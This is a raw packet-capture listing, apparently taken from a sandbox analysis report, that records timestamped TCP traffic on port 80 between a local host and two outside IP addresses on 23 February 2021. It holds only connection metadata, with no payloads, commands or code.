Feb 23, 2021 16:53:56.679184914 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.679238081 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.679239035 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.679305077 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.682625055 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.919548035 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.919636011 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.919614077 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.919703007 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.919738054 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.919776917 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.919802904 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.919845104 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.919862986 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.919905901 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.919909000 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.919948101 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.919950962 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.919981003 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.919995070 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.920033932 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.920033932 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.920082092 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.920118093 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.920125008 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.920125961 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.920164108 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.920166969 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.920205116 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.920208931 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.920249939 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.920253038 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.920290947 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.920295000 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.920334101 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.920336008 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.920386076 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.920425892 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.920465946 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.920468092 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.920490980 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.920500994 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.920516014 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.920525074 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.920538902 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.920546055 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.920555115 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.920572996 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.920581102 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.920597076 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.920607090 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.920624018 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.920628071 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.920650005 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.920660019 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.920675993 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.920697927 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.920710087 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.920716047 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.920721054 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.920731068 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.920749903 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.920753956 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.920777082 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.920782089 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.920799971 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.920815945 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.920824051 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.920830965 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.920847893 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.920862913 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.920871019 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.920876980 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.920895100 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.920906067 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.920919895 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.920929909 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.920948982 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.920952082 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.920974016 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.920983076 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.921000004 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.921009064 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.921025038 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.921031952 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.921057940 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.923763037 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.926656008 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.937134981 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.937160969 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:53:56.937207937 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.937233925 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:56.937370062 CET	49165	80	192.168.2.22	150.95.81.183
Feb 23, 2021 16:53:57.191819906 CET	80	49165	150.95.81.183	192.168.2.22
Feb 23, 2021 16:54:00.281657934 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:54:00.334779024 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:00.334956884 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:54:00.336730957 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:54:00.391016960 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:03.866312027 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:03.866349936 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:03.866372108 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:03.866391897 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:03.866410017 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:03.866425991 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:03.866447926 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:03.866465092 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:54:03.866471052 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:03.866492033 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:03.866501093 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:54:03.866508007 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:54:03.866514921 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:03.866581917 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:54:03.867505074 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:03.867533922 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:03.867608070 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:54:03.868762016 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:03.868784904 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:03.868845940 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:54:03.870088100 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:03.870121002 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:03.870194912 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:54:03.871330976 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:03.871360064 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:03.871429920 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:54:03.872612000 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:03.872642994 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:03.872709990 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:54:03.873945951 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:03.873981953 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:03.874046087 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:54:03.875193119 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:03.875216961 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:03.875281096 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:54:03.876513958 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:03.876540899 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:03.876595974 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:54:03.877721071 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:03.877746105 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:03.877798080 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:54:03.879004955 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:03.879033089 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:03.879087925 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:54:03.883820057 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:54:03.919347048 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:03.919374943 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:03.919544935 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:54:03.919903994 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:03.919924974 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:03.920001984 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:54:03.921174049 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:03.921200037 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:03.921263933 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:54:03.922441006 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:03.985130072 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:03.985165119 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:03.985327005 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:54:03.985634089 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:03.985655069 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:03.985750914 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:54:03.986932039 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:03.986957073 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:03.987103939 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:54:03.988121986 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:03.988151073 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:03.988223076 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:54:03.989355087 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:03.989377975 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:03.989487886 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:54:03.990617990 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:03.990641117 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:03.990740061 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:54:03.991846085 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:03.991874933 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:03.991942883 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:54:03.993089914 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:03.993114948 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:03.993180037 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:54:03.994369984 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:03.994399071 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:03.994482040 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:54:03.995589972 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:03.995615005 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:03.995687008 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:54:03.996831894 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:03.996854067 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:03.996942997 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:54:04.471790075 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:04.471827030 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:04.471848965 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:04.471882105 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:54:04.670245886 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:54:07.350805998 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:07.350837946 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:07.350945950 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:54:07.351289034 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:07.547070026 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:54:27.990550041 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:27.990580082 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:27.990735054 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:54:27.991131067 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:28.243938923 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:54:55.333614111 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:55.333648920 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:55.333789110 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:54:55.334106922 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:55.334126949 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:55.334187984 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:54:55.335386038 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:55.335412979 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:55.335460901 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:54:55.336639881 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:55.336671114 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:55.336725950 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:54:55.337924957 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:55.337960958 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:55.338015079 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:54:55.339073896 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:55.339102030 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:55.339153051 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:54:55.340348005 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:55.340377092 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:55.340423107 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:54:55.341597080 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:55.341626883 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:55.341674089 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:54:55.342891932 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:55.342915058 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:55.342956066 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:54:55.344077110 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:55.344095945 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:55.344146013 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:54:55.345330000 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:55.345349073 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:55.345407009 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:54:55.346573114 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:55.346613884 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:55.346656084 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:54:55.347842932 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:55.347871065 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:55.347918987 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:54:55.349037886 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:55.349069118 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:55.349108934 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:54:55.350316048 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:55.350343943 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:55.350395918 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:54:55.351564884 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:55.351592064 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:55.351639986 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:54:55.352808952 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:55.352834940 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:55.352878094 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:54:55.354079008 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:55.354104042 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:55.354152918 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:54:55.355273008 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:55.355298996 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:55.355350971 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:54:55.356528044 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:55.356559038 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:55.356621981 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:54:55.357777119 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:55.357805014 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:55.357853889 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:54:55.359010935 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:55.359045982 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:55.359100103 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:54:55.360217094 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:55.360250950 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:55.360291958 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:54:55.361515045 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:55.361537933 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:55.361589909 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:54:55.386643887 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:55.386672974 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:55.386805058 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:54:55.387131929 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:55.387151957 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:55.387207031 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:54:55.388501883 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:55.388525963 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:55.388593912 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:54:55.390871048 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:55.390903950 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:55.390970945 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:54:55.906336069 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:55.906469107 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:54:56.881345987 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:56.881619930 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:54:58.801541090 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:54:58.801685095 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.102444887 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.155450106 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.155483007 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.155607939 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.155700922 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.155720949 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.155755043 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.156477928 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.156502962 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.156548977 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.157253027 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.157278061 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.157321930 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.158026934 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.158050060 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.158066988 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.158097029 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.158834934 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.158857107 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.158886909 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.159603119 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.159626007 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.159651995 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.160391092 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.160413027 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.160444021 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.161168098 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.161195040 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.161231995 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.161978960 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.162003040 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.162039995 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.162725925 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.162744999 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.162808895 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.163491964 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.163512945 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.163549900 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.164259911 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.164279938 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.164316893 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.165052891 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.165074110 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.165112972 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.165832043 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.165852070 CET	80	49166	172.67.172.17	192.168.2.22
Feb 23, 2021 16:55:00.165890932 CET	49166	80	192.168.2.22	172.67.172.17
Feb 23, 2021 16:55:00.166548967 CET	80	49166	172.67.172.17	192.168.2.22
